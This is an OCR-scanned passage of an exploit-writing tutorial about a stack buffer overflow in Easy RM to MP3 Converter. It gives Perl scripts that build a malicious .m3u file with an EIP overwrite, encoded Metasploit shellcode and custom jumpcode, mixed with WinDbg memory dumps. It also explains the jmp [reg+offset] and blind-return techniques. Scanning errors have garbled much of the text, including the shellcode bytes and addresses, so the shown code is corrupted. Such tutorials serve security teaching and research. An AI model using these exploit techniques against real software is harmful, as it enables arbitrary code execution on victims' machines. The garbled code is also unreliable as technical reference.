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0:000> s B1a%0600 1 @1dffeee 54 c3

@laa57f6 54 c3 98 90 90 90 90 90-90 90 8b 44 24 08 85 O T.ver.ev.... D%. ..
91b31d88 54 c3 fe ff 85 ¢@ 74 5d-53 8b 5¢c 24 30 57 8d 4c T..... t]1S. \few. L
@1lb5cd65 54 c3 8b 87 33 05 00 00-83 f8 66 OFf 85 92 01 08 T...3...........
@1b5cf2f 54 c3 8b 4¢ 24 58 8b c6-5f 5e 5d 5b 64 89 @d 60 T..L$X.._~][d
01b5cf44 54 c3 90 9@ 99 90 90 90-90 90 90 90 8a 81 da B4 T...............
@1bbbb3e 54 ¢3 8b 4c 24 50 5e 33-c@ 5b 64 89 @d 00 90 00 T..L$P~3.[d.....
©1bbbb51 54 3 90 90 90 90 90 96-90 90 90 90 98 90 98 6a T.........nn.n. j
©lbf2aba 54 c3 @c 8b 74 24 20 39-32 73.089 4@ 83 c2 08 41 T...t$ 92s.@..
@1cofeb4d 54 c3 b8 Ge 06 07 30 8b-4c 24 54 5e 5d S5b 64 89 T....... L$TA]{d
Olcefech 54 ¢3 906 90 90 64 al ©0-00 00 00 6a ff 68 3b 84 T. d..... j.h;
01c692aa 54 ¢3 90 90 90 90 8h 44-24 04 8b 4¢ 24 08 8b 54 T...... D$..L%..T
01d35a4@ 54 3 ¢8 3d 10 e4 38 14-7a f9 ce f1 52 15 80 d8 T..=..8.z...R
©ld4daa7 54 c3 9f 4d 68 ce ca 2f-32 2 d5 df 1b 8f fc 56 T..Mh../2...... v
@1ld55edb 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2...... Vv
@1d649¢c7 54 ¢3 9f 4d 68 ce ca 2f-32 2 d5 df 1b 8Ff fc 56 T..Mh../2...... v
91d73406 54 ¢3 d3 2d d3 3 3a b3-83 ¢3 ab b6 b2 €3 02 280 T..-..i...e....
91d74526 54 ¢3 da 4c 3b 43 11 e7-54 c3 cc 36 bb ¢3 f8 63 T..L;C..T..6...c¢
01d7452e 54 c3 cc 36 bb ¢3 f8 63-3b 44 d8 00 d1 43 5 f3 T..6...c;D...C
01d74b26 54 c3 ca 63 0 c2 f7 86-77 42 38 98 92 42 7e 1d T..c .wB8, .B~
©31d3b18 54 c3 f6 ff 54 ¢3 f6 ff-4f bd fo ff 00 6c 9f £f T...7...0....1
@31d3blc 54 c3 6 f 4f bd f8 f-80 6¢c 9f ff 30 ac d6 ff T...0....1..9

Craft your exploit and run :

my $file= "testl.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',0x81aa57f6); #overwrite EIP with push esp, ret
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes

| - my $shellcode = "\x9@" x 25;  #start shellcode with some NOPS

o # w1ndows/exec - 3@3 bytes

# http:.
L Encoder x86/a1pha upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xF4\Xx58\x58\x59\x49\x49\x49\x49"
"AXA3\x43\x43\x43\ x43\x43\x51\x5a\ 56\ X54\x58\ X33\ x30\x56"
"AX58\x34\x41\x58\x30\x41\x33\x48\x48\ x30\x41\x30\x36\x41"
"NXA2\XAINXAINAXA 2\ X544\ XA L\ x4 1N\ K51\ X3 2\ XA 1L\ X422\ X3 2\ x4 2\ x42"
"A\X30\X42\x42\x58\x50\X38\x41\x43 \x4a\x4a\x49\ x4b\x4c\x4a"
"Ax48\X50\x44\x43\ x30\x43 \ x30\ x45\ x50\ x4c\x4b\ x47\x35\x47"
"\xdc\x4c\x4b\x43\x4c\x43\x35\x43 \x48\x45\x51\x4a\x4f\x4c"
“AxAB\ X5 \X4F\ x4 2\ x38\X4C \x4b\x51\x4F\x47\ x50\ x43\x31\x4a"
"\XADAXEIAXEI\ X4\ Xx4b\x46\X54\ x4 \x4b\x43\x31\x4a\x4e \ x50 "
- UAX3LAX49\X 50\ x4 c\x59\x4e\ x4\ X4\ x44\ x49\ x50\ x43\x44\ x43 "
;'”\x37\x49\x51\x49\xSa\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
"\X54\XA7\XxAb\ X5 T\ x44 \ X 46\ Xx44\x 43\ X34\ X4 2\ x55\ x4b\x55\x4c"
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"AAbAX51I\X4F\X51\ X34\ x45\x51 \ x4a\x4b\ x4 2\ x46\ x4c\x4h\x44" ,
"\ XA\ X508\ x4b\ x4 c\ x4b\ X5\ x4\ x45\ x4\ x45\x51\ x4a\x4b\ x4c"
"\ x4b\x45\x4c\x4c\x4b\ x45\x51\x4a \x4b\ x4d\x59\x51\x4c\x47"
"AXE4\ XA 3\ X34\ 48\ X433\ X5 1\ x4\ x46 \ x5 1\ x4b\x46\ x43\ x58\ x50"
"AX56\XA5\ X34\ XA\ x4Ab\x47\ X336\ X508 \x30\ x4 \x4b\x51\ x50\ x44"
"\x4c\x4c\x4b\x44\ X390\ x45\ x4\ xde \x4d\ x4c\x4b\ x45\ %38\ x43"
"AX3BAXAbA\X39\Xx4a\x58\ x4 \Xx43\x49\ x50\ x4 2\ x4a\x52\x50\x42"
"AX4BAXAc\X30\x4d\x5a\x43\ X34\ X551\ x4\ x45\x38 \ x4a\x38\x4b"
"\ xde\xAd\x5a\X44\ x4\ x46\x37 \x4b\x4F\ x4d\x37\x42\x43\ x45"
"AX31\x42\xAc\X42\x43\x45\ x50 \x41\x41" ;

open($FILE,">$file™);

print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);

print "m3u Fille Created successfully\n”;

pwned again !

imp [reg]+|offset]

Another technique to overcome the problem that the shellcode begins at an offset of a register (ESP in our
example) is by trying to find a jmp [reg + offset] instruction (and overwriting EIP with the address of that
instruction). Let’s assume that we need to jump 8 bytes again (see previous exercise). Using the jmp regt+offset
technique, we would simply jump over the 8 bytes at the beginning of ESP and land directly at our shellcode.

We need to do 3 things :

1. Find the opcode for jmp esp+8h
2. Find an address that points to this instruction
3. Craft the exploit so it overwrites EIP with this address

Finding the opcode using windbg :

©:014> a

7¢99120e jmp [esp + 8]
jmp [esp + 8]

7¢981212
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9:014> u 7c9eizee
ntdl1liDbgBreakPoint:
7¢90120e 642408 jmp dword ptr [esp+8]

The opcode is ff642408

Now you can search for a dll that has this opcode, and use the address to overwrite EIP with. In our example,
we could not find this exact opcode anywhere. Of course, you are not limited to looking for jmp [esp+8], you
could also look for values bigger than 8. Remember you control anything above 8, you could easily put some
additional NOP's at the beginning of the shellcode and make the jump into the nop’s.

(Note: The opcode for ret is ¢3)

Blind return

: This technique is based on the following steps:

1. Overwrite EIP with an address pointing to a ret instruction

Hardcode the address of the shellcode at the first 4 bytes of ESP

When the ret 1s execute, the last added 4 bytes (fopmost value) are popped from the stack and will be put

in EIP
4. Exploit jumps to shellcode

[SS I S

-+ So this technique is useful if:

+ You cannot point EIP to go a register directly, because you cannot use jmp or call instructions. This
means that you need to hardcode the memory address of the start of the shellcode, and
+ You can control the data at ESP (at least the first 4 bytes)

" In order to set this up, you need to have the memory address of the shellcode (which equals the address of

© ESP). As usual, try to avoid that this address starts with or contains null bytes, or you will not be able to load
your shellcode behind EIP. If your shellcode can be put at a location, and this location address does not contain
. anull byte, then this would be another working technique.

- Nex, find the address of a ‘ret” instruction in one of the dlls.
- Set the first 4 bytes of the shellcode (first 4 bytes of ESP) to the address where the shellcode begins, and

~ overwrite EIP with the address of the ‘ret’ instruction. From the tests we have done in the first part of this lab,
- we remember that ESP seems to start at 0x000ff730. Of course this address could change on different systems,

-7 but if you have no other way than hardcoding addresses, then this is the only thing you can do.

- This address contains null byte, so when building the payload, we create a buffer that looks like this :

_ [26094 A’s][address of ret][0x000£{1730][shellcode]

: The problem with this example is that the address used to overwrite EIP contains a null byte, so the shellcode is
. notput in ESP. This is a problem, but it may not be a showstopper, Sometimes you can find your buffer (fook at
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the first 26094 A’s, not at the ones that are pushed after overwriting EIP, because they will be unusable because
of null byte) back at other locations/registers, such as eax, ebx, ecx, ctc... In that case, you could try to put the
address of that register as the first 4 bytes of the shellcode (at the beginning of ESP, so directly after overwriting
EIP), and still overwrite EIP with the address of a *ret’ instruction.

This is a technique that has a lot of requirements and drawbacks, but it only requires a “ret” instruction. ..
Anyways, it didn’t really work for Easy RM to MP3.

Dealing with small buffers : jumping anywhere with custom jumpcode

We have talked about various ways to make EIP jump to our shellcode. In all scenario’s, we have had the
luxury to be able to put this shellcode in one piece in the buffer. But what if we see that we don’t have enough
space to host the entire shellcode?

In our exercise, we have been using 26094 bytes before overwriting EIP, and we have noticed that ESP points
to 26094+4 bytes, and that we have plenty of space from that point forward. But what if we only had 50 bytes
(ESP -> ESP+50 bytes). What if our tests showed that everything that was written after those 50 bytes were not
usable ? 50 bytes for hosting shellcode is not a lot. So we need to find a way around that. So perhaps we can
use the 26094 bytes that were used to trigger the actual overflow.

First, we need to find these 26094 bytes somewhere in memory. If we cannot find them anywhere, it’s going to
be difficult to reference them. In fact, if we can find these bytes and find out that we have another register
pointing (or almost pointing) at these bytes, it may even be quite easy to put our shellcode in there.

If you run some basic tests against Easy RM to MP3, you will notice that parts of the 26094 bytes are also
visible in the ESP dump :

my $file= "testl.m3u";

my $junk= "A" x 26094;

my $eip = "BBBB";

my $preshellcode = "X" x 54; f#let's pretend this is the only space we have available

my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data

open{$FILE, ">$File");

print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);

print "m3u File Created successfully\n";

After opening the testl.m3u file, we get this:

£ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fcel edi=00006715
eip=42424242 esp=600Tf730 ebp=0034406¢0 iopl=0 nv up ei pl nz na pe nc
cs=081b ss5=0023 ds=0023 es=0023 {s=003b gs=0000Q efl=00000206
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

<Unloaded P32.d11>+8x42424231:

42424242 ?7? ee?
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0:000> d esp

aeaff73e
geeff74e
goeff750
eeot+760
ovef+770
POOF+780
208Ff799
poeff7a0
0:000> d
8oe++7bo
000++7co
@eeft+7de
00eff7e0
poeff7fe
00911200
opeffsile
00f¥820
6:6806> d
00011830
geoffa4e
DBt 850
aeo+fsco
000 ff870
2oaf18380
0001290
Booff+8ae

58
58
58
58
960
2%
9@
90

50
1=1%]
90
90
99
99
99
90

9
90
a1
41
41
41
41
41

%0
21%]
9@
90
1]
S0
98
98

90
=15]
41
41
a1
41
41
41

58
58
58
98
90
90
90
%0

99
90
98
%0
99
99
90
99

90
90
41
41
41
41
41
41

58
58
58
90
20
99
90
96

90
20
90
90
=15)
90
90
90

98
96
41
41
41
41
a1
41

58
58
58
9@
906
90
90
90

30
90
90
90
90
=15]
=14
90

90
=15]
41
41
41
41
41
41

58
58
58
9@
96
1=15]
90
=15]

90
90
96
9@
99
j215]
90
90

p14]
15]
41
41
41
41
41
41

58
58
58
90
98
90
1=15]
96

90
56
=15]
215)
S0
90
99
90

90
99
41
41
41
41
41
41

58-58
58-58
58-58
56-90
90-90
9¢-909
92-99
S2-96

96-96
90-90@
90-50
96-96
56-96
98-99
50-99
90-50

90-90
90-00
41-41
41-41
41-41
41-41
41-41
41-41

58
58
58
908
90
50
99
90

90
99
90
90
90
96
=15
e

1%
41
41
41
41
41
41
41

58
58
58
50
99
90
=17
98

2%)
99
99
9e
98
90
90
90

90
41
41
41
41
41
41
4l

58
58
58
=14
96
90
50
90

90
90
96
90
50
99
90
20

58
41
41
41
41
41
41
41

58
58
58
90
56
90
950
96

90
90
90
g0
958
98
90
90

90
41
41
41
41
41
41
41

96
90
90
96
90
950
50
90

58
41
41
41
41
41
41
41

58
58
58
=1%]
90
506
1%
%@

90
90
9
1=1%]
99
90
90
90

90
41
41
41
41
41
41
41

90
1%
90
20
g0
90
=15
L)

115
41
41
41
41
41
41
41

b 99.0.0.0.4.0.0.0.0.0.0.0.49 4
b O 0400400000006 ¢
h 90 0.9.4.0.0.0.0.0.0.4.0.0¢ 4

oooooooooooooooo
oooooooooooooooo
oooooooooooooooo

oooooooooooooooo

................
................
----------------

................
................
................
----------------

----------------

oooooooooooooooo

We can see our 50 X’s at ESP. Let’s pretend this is the only space available for shelicode (we think).
However, when we look further down the stack, we can find back A’s starting from address 000£f849

(=ESP+281).

When we look at other registers, there’s no trace of X’s or A’s. (You can just dump the registers, or look for a

number of A’s in memory.

So this is it. We can jump to ESP to execute some code, but we only have 50 bytes to spend on shellcode. We
also see other parts of our buffer at a lower position in the stack. .. in fact, when we continue to dump the
contents of ESP, we have a huge buffer filled with A’s...
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+ b doad %0 RS R0 A% U AT
W 1z 4l L3 41 k% 41 43 sLbLESE
41 B2 A% £E ) (% d) ab Ledelidsdaddlilk
1 4L B 4L BT 81 k5 40 18 ARdARLRAEARLEAK
Todl 3 AL L5 43 £3 41 4y AkddlelaAiARlii
4! B3 AL b¥ 41 OLE 41 4 LaASLALKANLELRLE
3 Al K7 41 &5 41 ki A1 §3 AdARARAMAELIARAE
i 4l k9 d4b 6y di oLy ik dadelklidsdELidk
{1 Y 41 &3 41 B oA bk 43 MG AL 4% ARARARABASARALLE
oeE Lok 4 B 4L AN 45 s AL 4% ARARLELBLAARLULE
¥ 4L &Y 4L &7 41 BT 4L 42 4% b3 45 4E ACANARARARLIARLE
GUCTERmd A WY 41 B3 A4 3 o) kg 48 L A 4y bidblelkdbAidalE
Nmeﬁm 151 1 31 &% 42 £ A0 L% AF 4% 41 b ARARLALAAKERLLE
&8 4L &1 41 &3 A7 £ AL &5 40 43 40 43 AVAkkKAARANARAL
AL k3 AL #2 4¢ B At by 4 tE o1y AsAkdsdidedRLKLE
41 €2 4L &% 41 E3 4L B 4T ES AL 4Y LUARARMAARLEAEAK
AL &¥ dL EE AL €% A a0 kY 41 45 ) 4% RadddibidbdbdRLh
A1 43 40 K3 A1 &3 41 £1 L5 AL U3 41 4% APARLEABALAKARAY
I 8% A} €3 A 2§ 4 £ kY @) Ay 1 wd ARREAULaiERRLELE
Ap5 AL &% 4L €3 44 €I 4L & A1 EY 4L L 4L 4b ARARRRLELEAMLELE
e!l:elnm 4k By AL BG4k £ 60 & A5 k3 AL b5 A1 MG AdABAkdik kAR LK
R gAE 4L &1 &1 4% Al €3 ) d 4y 4 £S5 b Ay AekRiafatkibdbdk
Beis ey 4L A1 4L £3 41 &1 €1 40 4% €1 ED 41 4% AfAGARLELEAELELL
g&;i%ﬁlﬁ dL kg 4L ky AL k1 41 K A by 41 RR AL kb REARARLEARAELELE
XS EOR S
oty 41 k1 4L K1 4L £3 41 AL 43 81 B3 AL 43 ARARAEAEARAKLALE
LAgig¥d 44 3 {3 &5 41 €3 il ey At & o Rk JHAERNLRLELKLNLL
DARIZRaE AL F3 41 6 41 A3 41K 41 £ 1 L3 91 FY kikdkkbRAERELELE
a0 ddet 45 A3 A1 23 4§ 43 A Wl 3 41 &3 01 &3 hkdadaihladkAibly
S I T TR T T TR T | ML OEY 2) t» 41 bk bEkELSLKARREANLE
pAC 8l 4L 43 4L &2 45 43 41 41 49 AL BT 41 4 ARARMEAEADAELELE
cabyfeda Al a3 4F £5 oA] kS A1 Al 2 4 &Y A A AekklRiMAiEEdRlA
3\521%@1 4L BY 4b K3 4L 43 AR Al &5 AT b2 A1 A kbkRkEREAEARLK LK
Sz g
CEifeadd AL 4% 4F &5 AL €5 AL £%- G AL B 4 LS 41 A LEbEAEAbAEAMLELE
BI04 240 4L EX 4t BT 4L 43 4L G0 B 4L 4% 4L AN hkdAARAALFARARLR
SETIEAk AL £3 4 €3 di €3 4] RIe i k1 £y #4113 43 4y drdpdsbadabhlide
Cabigaed AL K% 40 R340 X% AL €541 K3 41 EY d1 AL 4 4 ARdRLedkARARLE
BIEIZAt) 2L B1 41 RI 41 K 61 EI-4T &1 FL BT #T 53 4F bE SLANARAARARARLN
GEbifalida 4] 87 41 £3 4l €% &0 ki~ KE &L b M £ 1 4y ARARARLNARLRALLE
pAeigatl Il B3 41 &3 4L 63 4L WI~4F &5 41 RD AL 4 4] kY AEARAKARARAKARLE
Eﬁkgggmh AT AL ET 40 23 4L Wus¥h BX AL 0 AL kR A1 E ARLEARLEABLEAKLR
W £33 b
PICIEmle2 4L 43 11 &7 41 43 41 £3-41 % AL E3 41 k§ 41 48 AkARARARARLEEELE
Dabidaed {1 43 4% &5 44 €3 4] fied] E3 AL kE 4f LY d] a5 M#MMM.‘-HUJ
EAGIEul 41 X0 IL £5 41 43 41 Ei-41 A% 40 43 41 KT AL 4% CABLELEANAELE
B30 2l AT B1 41 &% 4L €3 AL §3=40 KT AL K3 &1 &I 40 3 unu.;.umxhu
Labddafd AL k% 41 &Y 41 €5 4] ug-d] £3 AL G5 8f 44 A1 o LLARAGAEANLRLLLE
BLY 41 63 41 €3 45 €3 AL 4341 &3 AL T 41 K3 ) ¥ AEASLELMANAKKELE
! B1E AL Bi AT B3 4F K5 41 BRedd &3 4l kY €1 A5 &1 30 ARANARLRARAELELD
ABlERDT AL 4§ 4L €% AL &% AL ESd0 &Y AL BE &1 4% 41 4% LBARARLEAKARERLK

Luckily there is a way to host the shellcode in the A’s and use the X’s to jump to the A’s. In order to make this
happen, we need a couple of things:

'« The position inside the buffer with 26094 A’s that is now part of ESP, at 000ff849 (“Where do the A’s
shown in ESP really start ?) (so if we want to put our shellcode inside the A’s, we need to know where

exactly it needs to be put)
» “Jumpcode” : code that will make the jump from the X’s to the A’s. This code cannot be larger than 50

bytes (because that’s all we have available directly at ESP)

We can find the exact position by using guesswork, by using custom patterns, or by using one of metasploits
patterns.

We’ll use one of metasploit’s patterns... we’ll start with a small one (so if we are looking at the start of the A’s,
then we would not have to work with large amount of character patterns :-) )

Generate a pattern of let’s say 1000 characters, and replace the first 1000 characters in the perl script with the
pattern (and then add 25101 A’s)

my $file= "testl.m3u”;
my $pattern = "AaBAalAazAalAadha....g8BgSBhOBh1Bh2B";
my $iunk= "A" x 25101;
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my $eip = "BBBB";

my $preshellcode = “X" x 54; #let's pretend this is the only space we have available at
ESP

my $nop = "\x96" x 230; #added some nops to visually separate our 54 X's from other data

in the ESP dump

open($FILE, ">$file");

print $FILE $pattern.$junk.$eip.$preshellcode.$nop;

close($FILE);

print "m3u File Created successfully\n";

€ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fced edi=PBOO6715
eip=42424242 esp=000ff730 ebp=003440cO iopl=0 nv up ei pl nz na pe nc
Cs=001b $5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000266
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

<Unloaded _P32.d11>+0x42424231:

42424242 ?? PP

g:000> d esp

000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXOOMXXXXXXXXX
000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXOXOOGOOKXXXXX
0eeff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
0ROff768 58 58 90 96 90 90 90 90-90 90 90 90 90 90 90 98 XX...iiiiuei.on.,
0oeff770 90 90 96 90 90 90 90 96-90 90 90 90 96 90 98 99 . ........eeeu....
QoORff780 90 90 90 90 90 90 90 99-90 90 90 90 90 90 9B 90  .......i...rn...
00BTf790 9@ 9¢ 90 90 90 90 90 90-90 92 90 90 90 99 90 90 . ....i.einirann.
0ROff7a0@ 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ...i.iieirireeannn
6:000> d

QOOFf7be 90 90 90 90 90 90 90 90-96 90 90 90 99 90 99 90  .....iiiiiin...
Q0OfT7cO 99 90 92 90 90 90 90 96-90 90 90 99 90 98 90 90 ... .iirinenn.
QoOFf7d0 90 90 90 90 90 90 90 90-90 90 90 99 90 90 90 9P ... ... iiiuaino.
P0aff7e@ 96 90 90 9@ 90 90 96 90-90 90 90 90 90 90 90 9D ... .i.iriirniinnn
0Raff7fe 96 98 S0 90 90 90 9¢ 90-90 90 90 90 90 90 90 9B ..., ... iiiennnn.
0eOff860 90 90 90 90 90 98 99 90-90 90 90 92 90 90 90 9  .....iiiiiniinnn
PBOff810 90 90 90 90 90 90 90 90-90 90 92 92 902 90 98 90  ......i.e.irannn
0BOTT828 90 99 92 90 90 90 90 90-90 90 90 98 90 90 90 90  ........ierinnn.
©:000> d

0001830 90 90 90 96 90 98 90 90-90 90 90 90 90 98 90 90  ........iriruann.
000840 96 90 90 90 90 90 96 99-00 35 41 69 36 41 69 37 ..., SA1IBALTY
000ff850 41 69 38 41 69 39 41 6a-30 41 63 31 41 6a 32 41 Ai8AI9AJRAj1IAI2A
000ff860 6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a j3AJAAI5AI6ATTA]
eeoff870 38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33 8A]9AKOAKIAKZAK3
eoeft88e 41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41 AKk4AKSAKGAK7AKSA
00RTf899 6b 39 41 6¢ 30 41 6¢c 31-41 6¢ 32 41 6¢ 33 41 6¢ kOAIOAL1AI2A13A]%
000820 34 41 6¢ 35 41 6C 36 41-6¢ 37 41 6¢ 38 41 6¢ 39 4ALSA16A17A18A19

What we see at 000849 is definitely part of the pattem. The first 4 characters are SAi6
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S0020 %0 IO 24 -0 0 90 w0 20 90 39 20

0 96 20 20 SH 030 30 90 B0 %0 20 %0 R0

20 90 20 0 %06 0.0 90 80 F0 90 S0 0 30 .

a0 28 30 2u o0 wp-00 ENEFUECEED ¢1 9 37 Bhakda?
2B 41 59 2 41 S0-30 L1 S8 FL AL En 32 41 ALRARRATASIANTA
41 Ea 34 41 Sa 28-41 Sa 3B 4L £ 37 4] fp 0 yIRGSARANGASVAR
£a 39 41 AB 30 Ll-8l 31 41 £ 22 O8] AL 33 BA;OAMDARIAA2LNZ
6 41 Bl 35 41 Ebe3B 41 E1 3F 4L OBL 38 41 ARAARSALEARTAEEL
41 &2 R0 41 s 3ledl g 32 4L Bz 33 4) B KSAIGRAILAIIRINNLL
Ba 3B AL £2 36 41-&s 37 41 fa PR 4L fo 20 LAJGALGAIPAIGAIR
[ia

4L &9 2E 41 £% ET-4L £9 28 41 &9 29 A1 fa SALORIVRLGALThG
Ea F1 41 B 22 dle%s 33 41 22 E 41 da 2R 0A11k1ZAn3AydlaE
e 41 £ 37 41 Fa-36 41 Ea 39 41 £L 0 41 MSA THIRAITARDA
1 &b 32 4] Sy 3HEed) Eb 34 41 £h 35 41 £l RIAKIARIARSARGAY
S 3P 41 Bk 38 41-8h 3P A4l £ 30 41 £ 3l BARTARGREIAIONIL
2 4L £ 33 4L feeld 1L Bz 3R 4L £ 36 ALl LITALZALAALSALEL
41 &= 3F 41 Ez 39«41 &d 20 4L fd 21 41 fd LVALEALSRaTAnlis
S 33 1 £ BE 4debd 35 41 £d FE 4D 84 ET 0 ZAsRisdAmSAsbhaT

Using metasploit pattern_offset utility, we see that these 4 characters are at offset 257. So instead of putting
26094 A’s in the file, we’ll put 257 A’s, then our shellcode, and fill up the rest of the 26094 characters with A’s
again. Or even better, we’ll start with only 250 A’s, then 50 NOP’s, then our shellcode, and then fill up the rest
with A’s. That way, we don’t have to be very specific when jumping. If we can land in the NOP’s before the
shellcode, it will work just fine.

Let’s see how the script and stack {ook like when we set this up :

my $file= "testl.m3u";
my $buffersize = 26094;

my $junk= "A" x 258;
my $nop = "\x98" x 58;
my $shellcode = "\xcc”;

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have availlable
my $nop2 = "\x98" x 230; #added some nops to visually separate our 54 X's from other

data
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";

open($FILE, ">$file");

print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE)};

print "m3u File Created successfully\n";

When the application dies, we can see our 50 NOPs starting at 000{f848, followed by the shellcode (0x90 at 000£f874),
and then again followed by the A’s. Ok, that looks fine.

(188.c98): Access violation - code ¢0000005 (!!! second chance !!1)

0ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000840 esi=77c5fced edi=BB0B6715
eip=42424242 esp=000f{730 ebp=003446¢c0 iopl=0 nv up ei pl nz na pe nc

c5=001b 55=0023 ds=0023 es5=0823 fs5=003b gs=0000 etl=60080206
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Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.d11>+0x42424231;

42424242 ?? ree

0:000> d esp

©eeff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXOOOOXXXXXXXX
QOBff748 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXOOOKNXXXXX
000ff7506 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXOOOOOOOXKXXX
0RO 760 58 58 99 90 90 90 90 90-90 S0 99 90 96 90 90 90 XX....iieirionn.
eOf+776 90 90 99 90 90 90 90 96-90 90 99 90 90 90 90 90 . .....iiriiaennn
0BeTf780 90 96 90 90 90 90 99 90-90 90 90 96 90 90 90 90  ......i.ieiiaia..
0OTf790 90 90 9¢ 90 98 98 90 90-90 90 98 99 90 99 90 90 .. ..eiiiriainn
000ff7a0 90 90 90 90 90 90 90 90-90 90 99 90 90 90 96 YO0 ...t .ieuinannn
@:000> d

000ff7be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  .....i.iurienn..
0eeTf7c@ 90 90 90 90 90 90 90 98-90 90 92 90 90 90 90 90  ........ririan..
Qaff7de 90 90 90 90 90 90 90 99-90 90 90 98 90 98 90 90 . ......ierinannn
000ft7e0 S0 90 90 90 90 9 90 90-90 90 90 92 90 90 90 99 . ......i.iienaann
6ROTf7f0 90 90 90 90 90 96 92 90-90 90 90 90 99 99 99 98  ........r.uu....
0001800 90 50 90 99 90 S0 90 90-90 98 90 90 99 99 90 90  ................
00eff810 90 96 90 90 90 90 90 90-90 96 90 90 90 90 90 90  ......i.iiiinn.n.
00eff820 906 90 90 90 90 90 98 96-99 90 90 90 90 .90 90 90  ........ierenn.n
0:000> d :

000830 90 90 90 90 90 90 90 90-96 90 90 90 99 90 90 98  .....i.iiiirrnnn
000tf840 90 90 90 90 90 98 90 90-00 90 92 90 90 98 90 98  ........i.reinnon.
0eRff850 90 90 99 99 90 90 90 90-90 90 98 90 90 98 90 90 . .........ienon..
0OOTT860 90 90 90 90 902 90 90 90-90 90 90 90 90 90 90 90 . ......ibeinenannn
00Off870 90 90 90 99 cc 41 41 41-41 41 41 41 41 41 41 41 . .... AAAAAAAAAAA
ROBfT880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
800ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

The second thing we need to do is build our jumpcode that needs to be placed at ESP. The goal of the jumpcode
1$ to jump to ESP+281

Writing jump code is as easy as writing down the required statements in assembly and then translating them to
opcode (making sure that we don’t have any null bytes or other restricted characters at the same time).

Jumping to ESP+281 would require : Add 281 to the ESP register, and then perform jump esp. 281 = 119h.
Don’t try to add everything in one shot, or you may end up with opcode that contains null bytes.

Since we have some flexibility (due to the NOP’s before our shellcode), we don’t have to be very precise
either. As long as we add 281 (or more), it will work. We have 50 bytes for our jumpcode, but that should not

be a problem.

Let’s add Ox5e (94) to esp, 3 times. Then do the jump to esp. The assembly commands are :

+ add esp,0x5¢
o add esp,0x5e
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« add esp,0xSe
« jmpesp

Using windbg, we can get the opcode :

9:014> a

7¢981211 add esp,@x5e
add esp,8x5e
7c901214 add esp,9x5e
add esp,@x5e

7¢901217 add esp,dx5e
add esp,0x5e

7c9@121a jmp esp

jmp esp

7c90121c

©:914> u 7¢%81211
ntdll!DbgBreakPoint+6x3:

7c901211 83c45e add esp,5Eh
7c981214 83c45e add esp,5Eh
7¢901217 83c45e add esp,5Eh
7¢90121a ffed Jjmp esp

Ok, so the opcode for the entire jumpcode is 0x83,0xc4,0x5¢,0x83,0xc4,0x5¢,0x83,0xc4,0x 5¢,0x1f,0xed

my
my

my
my
my
my
my

my
my

my

my

$file= "testl.m3u";
$buffersize = 26094;

$junk= "A" x 258;

$nop = "\x88" x 58;

$shellcode = "\xcc"; #position 300

$restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

$eip = "BBBB";
$preshellcode = "X" x 4;

$jumpcode = "\x83\xc4\x5e" .  #add esp,0xbe
"\x83\xcd4\x5e" . #add esp,0x5e
"\x83\xcd4\x5e" . #add esp,BOx5e
"\xff\xed"; #imp esp

$nop2 = "Ox9e" x 1@; # only used to visually separate

$buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE, ">$file");

print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);

print "m3u File Created successfully\n";
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The jumpcode is perfectly placed at ESP. When the shellcode is called, ESP would point into the NOPs (between 00£1842

and 000ff873). Shellcode starts at 000ff874
(45¢.f60): Access violation - code ¢0e00805 (!!! second chance I!1)
£ax=00000001 ebx=00164a58 ecx=7c91005d edx=00000940 esi=77c5fced edi=00006608
eip=42424242 esp=000ff730 ebp=003440c0 iopl=6

Ccs=g81b

55=0823

ds=00823

<Unloaded_P32.d11>+0x42424231:
42424242 ??
8:000> d esp

000Ff730
00OFf740
00Bff750
0BOfF760
poeff77e
BOOFF780
geeff790
000Ff7a0
0:008> d
